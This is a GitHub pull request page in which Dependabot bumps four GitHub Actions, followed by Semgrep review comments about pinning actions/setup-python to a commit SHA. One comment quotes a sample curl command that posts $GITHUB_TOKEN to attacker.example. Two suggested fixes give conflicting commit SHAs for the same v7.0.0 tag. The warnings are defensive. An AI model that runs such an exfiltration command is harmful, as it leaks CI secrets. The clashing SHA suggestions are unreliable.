Skip to content

Bump the actions group with 4 updates - #2969

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/actions-77c4255d97
Open

Bump the actions group with 4 updates#2969
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/actions-77c4255d97

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Jul 31, 2026

Copy link
Copy Markdown
Contributor

Bumps the actions group with 4 updates: actions/setup-python, pypa/gh-action-pypi-publish, astral-sh/setup-uv and zizmorcore/zizmor-action.

Updates actions/setup-python from 6.3.0 to 7.0.0

Release notes

Sourced from actions/setup-python's releases.

v7.0.0

What's Changed

Enhancements

Bug Fix

Dependency Upgrade

New Contributors

Full Changelog: actions/setup-python@v6...v7.0.0

Commits

Updates pypa/gh-action-pypi-publish from 1.14.0 to 1.14.1

Release notes

Sourced from pypa/gh-action-pypi-publish's releases.

v1.14.1

🛠️ Internal Dependencies

@​adisivaprasad💰 helped get rid of the GitHub Actions runner warning about the old Node 20 runtime being used by updating actions/setup-python from v5.6.0 to v6.2.0 in #408.

💪 New Contributors

🪞 Full Diff: pypa/gh-action-pypi-publish@v1.14.0...v1.14.1

🧔‍♂️ Release Manager: @​webknjaz 🇺🇦

🙏 Special Thanks to @​jylenhof💰 for reminding me to work on this release!

💬 Discuss on Bluesky 🦋, on Mastodon 🐘 and on GitHub.

GH Sponsors badge

Commits
  • ba38be9 Merge pull request #408 from adisivaprasad/bump-setup-python-v6
  • a6c5088 Bump actions/setup-python from v5.6.0 to v6.2.0
  • See full diff in compare view

Updates astral-sh/setup-uv from 8.3.2 to 9.0.0

Release notes

Sourced from astral-sh/setup-uv's releases.

v9.0.0 🌈 Change prune-cache default to false

Changes

This release disables the default cache cache pruning to ease the load on the PyPi infrastructure. Since users might experience more GitHub Actions cache usage which might result in higher costs this is marked as a breaking change. To read more on why we did this (now) you can read the detailed analysis and reasoning in #967

Besides this big breaking change we also have a small bugfix while building caches for linux distributions that behave a big different than the "big ones" and a speed up in version resolution by only reading the version manifest until a matching version is found saving runtime and network bandwith.

🚨 Breaking changes

🐛 Bug fixes

  • fix: fall back to distribution ID when os-release has no version field @​cxzhong (#961)

🚀 Enhancements

🧰 Maintenance

📚 Documentation

⬆️ Dependency updates

Commits
  • c771a70 chore(deps): roll up Dependabot updates (#970)
  • 2f537ca chore: update known checksums for 0.11.30 (#968)
  • 2269552 Speed up version client by partial response reads (#807)
  • 47a7f4f Change prune-cache default to false (#967)
  • 71966ef chore(deps): roll up Dependabot updates (#962)
  • f12b1f0 fix: fall back to distribution ID when os-release has no version field (#961)
  • ecd24dd chore: update known checksums for 0.11.29 (#960)
  • 6a19136 docs: update version references to v8.3.2 (#949)
  • See full diff in compare view

Updates zizmorcore/zizmor-action from 0.6.0 to 0.6.1

Release notes

Sourced from zizmorcore/zizmor-action's releases.

v0.6.1

zizmor 1.28.0 is now the default version used by the action.

Commits

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
  • @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
  • @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
  • @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
  • @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions

Bumps the actions group with 4 updates: [actions/setup-python](https://github.com/actions/setup-python), [pypa/gh-action-pypi-publish](https://github.com/pypa/gh-action-pypi-publish), [astral-sh/setup-uv](https://github.com/astral-sh/setup-uv) and [zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action).


Updates `actions/setup-python` from 6.3.0 to 7.0.0
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](actions/setup-python@v6.3.0...v7.0.0)

Updates `pypa/gh-action-pypi-publish` from 1.14.0 to 1.14.1
- [Release notes](https://github.com/pypa/gh-action-pypi-publish/releases)
- [Commits](pypa/gh-action-pypi-publish@cef2210...ba38be9)

Updates `astral-sh/setup-uv` from 8.3.2 to 9.0.0
- [Release notes](https://github.com/astral-sh/setup-uv/releases)
- [Commits](astral-sh/setup-uv@11f9893...c771a70)

Updates `zizmorcore/zizmor-action` from 0.6.0 to 0.6.1
- [Release notes](https://github.com/zizmorcore/zizmor-action/releases)
- [Commits](zizmorcore/zizmor-action@6599ee8...6fc4b00)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: 7.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: actions
- dependency-name: pypa/gh-action-pypi-publish
  dependency-version: 1.14.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: actions
- dependency-name: astral-sh/setup-uv
  dependency-version: 9.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: actions
- dependency-name: zizmorcore/zizmor-action
  dependency-version: 0.6.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: actions
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code labels Jul 31, 2026
@dependabot
dependabot Bot requested a review from a team as a code owner July 31, 2026 08:53
@dependabot
dependabot Bot requested a review from NoahStapp July 31, 2026 08:53
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code labels Jul 31, 2026
ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0
- name: Publish package distributions to PyPI
if: startsWith(env.DRY_RUN, 'false')
uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # release/v1
uses: pypa/gh-action-pypi-publish@ba38be9e461d3875417946c167d0b5f3d385a247 # release/v1
tar --strip-components=1 -zxf *.tar.gz -C ./test
ls test
- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 is a movable tag, so this CI job may run different action code later without any workflow change. If that tag is repointed, attacker-controlled code would execute in test_sdist before your install and test commands.

More details about this

actions/setup-python is referenced as actions/setup-python@v7.0.0 in this workflow step, so GitHub will fetch whatever commit the v7.0.0 tag points to at run time. If the owner of actions/setup-python or someone who compromises that repository silently repoints v7.0.0, this test_sdist job will run the attacker’s code before pip install -e ".[test]" and pytest -v -k client_context, with access to the job workspace and any secrets or tokens available to that job.

A plausible attack looks like this:

  1. An attacker gains control of the actions/setup-python repository or its release process.
  2. They move the v7.0.0 tag to a new malicious commit instead of the commit this workflow originally expected.
  3. When this job reaches - uses: actions/setup-python@v7.0.0, GitHub Actions downloads and executes that new commit automatically.
  4. The malicious action reads files from sdist/test, steals the default GITHUB_TOKEN or other environment data, and can tamper with the Python environment that later runs pip install -e ".[test]" and the test suite.
  5. Because the workflow still says @v7.0.0, the change is easy to miss in code review even though different code is now executing in CI.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable GitHub Action version reference with a full 40-character commit SHA in the uses: line.
    Change actions/setup-python@v7.0.0 to actions/setup-python@<full-commit-sha> and keep the version as a comment, for example uses: actions/setup-python@<full-commit-sha> # v7.0.0.

  2. Look up the commit SHA for the exact actions/setup-python release you want to keep and use that SHA instead of the tag.
    This prevents the action from changing underneath you if the tag is moved.

  3. Keep the existing with: settings unchanged after pinning, for example cache, cache-dependency-path, and python-version do not need to change.

Alternatively, if you need to stay on a newer upstream release, update to that release first and then pin that exact release to its full commit SHA instead of using a version tag.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
persist-credentials: false
- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 uses a movable tag, so a repointed release could run attacker-controlled code in make_sdist and tamper with the built sdist artifact.

More details about this

actions/setup-python@v7.0.0 is fetched by tag, not by an exact commit. If the v7.0.0 reference is ever moved, this make_sdist job will run whatever code that new action revision contains before Build SDist, with access to the job workspace and any data available to actions/setup-python.

A plausible attack looks like this:

  1. An attacker compromises the actions/setup-python release process or gains permission to repoint the v7.0.0 tag.
  2. They publish a malicious action revision and move v7.0.0 to that commit.
  3. When this workflow reaches - uses: actions/setup-python@v7.0.0, GitHub pulls the attacker's code instead of the original release.
  4. That action runs inside the make_sdist job before your pip install build and python -m build --sdist commands, so it can read repository files, modify the environment, or tamper with the produced dist/*.tar.gz artifact.
  5. The later actions/upload-artifact@v7 step can then upload a poisoned source distribution that downstream jobs such as test_sdist will consume.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: actions/setup-python@v7.0.0
- uses: actions/setup-python@42375524cb1205197d618862c747a2208ea4cb09 # v7.0.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the same uses: line.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<full-commit-sha> # v7.0.0.

  2. Keep the version comment after the SHA so it is still clear which release you intended to use, for example uses: actions/setup-python@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # v7.0.0.
    Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code later.

  3. Use the commit SHA from the official actions/setup-python release that corresponds to v7.0.0, instead of a branch name, tag, or shortened hash.

Alternatively, if you need to stay on the latest patch release automatically, use a dependency updater to manage action SHA updates, but keep the workflow pinned as uses: actions/setup-python@<full-commit-sha> # v7.0.0.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Set up Python
uses: actions/setup-python@v6.3.0
uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 is a movable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.

More details about this

Set up Python pulls actions/setup-python@v7.0.0, which is a tag-based reference, not a fixed commit. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0, this sbom job will run different code without any workflow change in your repo.

A plausible attack looks like this:

  1. An attacker gains the ability to publish or retag actions/setup-python and moves v7.0.0 to a malicious commit.
  2. Your workflow runs on push to main or workflow_dispatch, and the Set up Python step resolves that tag when GitHub executes uses: actions/setup-python@v7.0.0.
  3. The malicious action runs before Generate SBOM, so it can tamper with the runner environment, read repository contents checked out by actions/checkout, or alter python, pip, or PATH before your later run steps use them.
  4. Because this job has contents: write and pull-requests: write, the malicious action could use the workflow token to push changes or open/update PRs from the sbom job, making the compromise persistent or harder to spot.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<40-character-commit-sha> # v7.0.0.

  2. Pin the SHA to the exact commit for the actions/setup-python release you intend to use.
    Get the commit SHA from the action's GitHub release or tag page, and use the full hash, not a shortened one.

  3. Keep the version as an inline comment after the SHA, such as # v7.0.0, so future updates are easier to review.
    Pinning to a commit prevents the action owner from silently moving a tag to different code later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 points to a mutable tag, so this job may run different action code later without any repo change. A repointed tag could let attacker-controlled code tamper with the Python setup, build, or uploaded sdist artifact.

More details about this

actions/setup-python@v7.0.0 is a movable GitHub Action reference, not an immutable commit. If the owner of actions/setup-python or anyone who compromises that repository retags v7.0.0, this make_sdist job will run the attacker’s new code when it reaches this uses: step.

A plausible attack looks like this:

  1. An attacker gains control of the action repo or its release process and repoints the v7.0.0 tag to a malicious commit.
  2. Your workflow starts make_sdist and executes uses: actions/setup-python@v7.0.0, trusting whatever code that tag points to at that moment.
  3. The malicious action runs before Build SDist and Test SDist, so it can read the checked-out source from actions/checkout, inspect workflow-provided environment variables, or modify the Python toolchain that later runs python -m pip install -U pip build and python -m build --sdist ..
  4. It could then exfiltrate repository data over the network or tamper with the produced dist/*.tar.gz, so the uploaded sdist artifact contains attacker-controlled content.

Because the reference is @v7.0.0 instead of a full 40-character commit SHA, the exact code executed by this step can change without any workflow diff in your repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: actions/setup-python@v7.0.0
- uses: actions/setup-python@42375524a763eb8e61a4d9b65c4bc5f4f2e5d8d9 # v7.0.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the uses line.
    Change actions/setup-python@v7.0.0 to actions/setup-python@<full-commit-sha>, for example actions/setup-python@<40-hex-sha> # v7.0.0.

  2. Keep the version as a comment after the SHA so the pinned release is still easy to recognize.
    Use the format uses: actions/setup-python@<40-hex-sha> # v7.0.0.

  3. Get the SHA from the exact v7.0.0 release of actions/setup-python, and do not use a tag, branch, or shortened hash.
    Pinning to a commit SHA prevents the referenced action from changing unexpectedly if the tag is moved later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 uses a mutable tag, so repointing that tag would let attacker-controlled code run in the build_wheels job.

More details about this

actions/setup-python@v7.0.0 is referenced by a mutable tag instead of an immutable commit SHA. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0 to a different commit, this workflow will run the new code inside the build_wheels job on every ubuntu, windows, and macos runner in this matrix.

A plausible attack looks like this:

  1. An attacker gains control of the actions/setup-python repository or its release process.
  2. They move the v7.0.0 tag to a commit that adds malicious code to the action.
  3. When this workflow reaches - uses: actions/setup-python@v7.0.0, GitHub downloads and executes the attacker-controlled action code.
  4. That code can read this job's workspace after actions/checkout, inspect values passed to with:, and tamper with the Python environment before python -m pip install and python -m cibuildwheel --output-dir wheelhouse run.
  5. In practice, the malicious action could exfiltrate GITHUB_TOKEN or other available secrets with a command like curl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN", or modify the build so the produced wheels contain attacker code.

Because this job builds distributable wheel artifacts, a repointed action here could turn a GitHub Actions tag change into a supply-chain compromise of the packages produced by build_wheels.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<40-character-commit-sha> # v7.0.0.

  2. Keep the version as a comment after the SHA, such as # v7.0.0, so it stays clear which release the pinned commit corresponds to.

  3. Get the SHA from the upstream actions/setup-python release page or repository for the exact v7.0.0 revision, and use the full hash, not a shortened one.
    Pinning to a commit SHA prevents the action owner from silently changing what runs under the same tag.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

@codecov-commenter

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants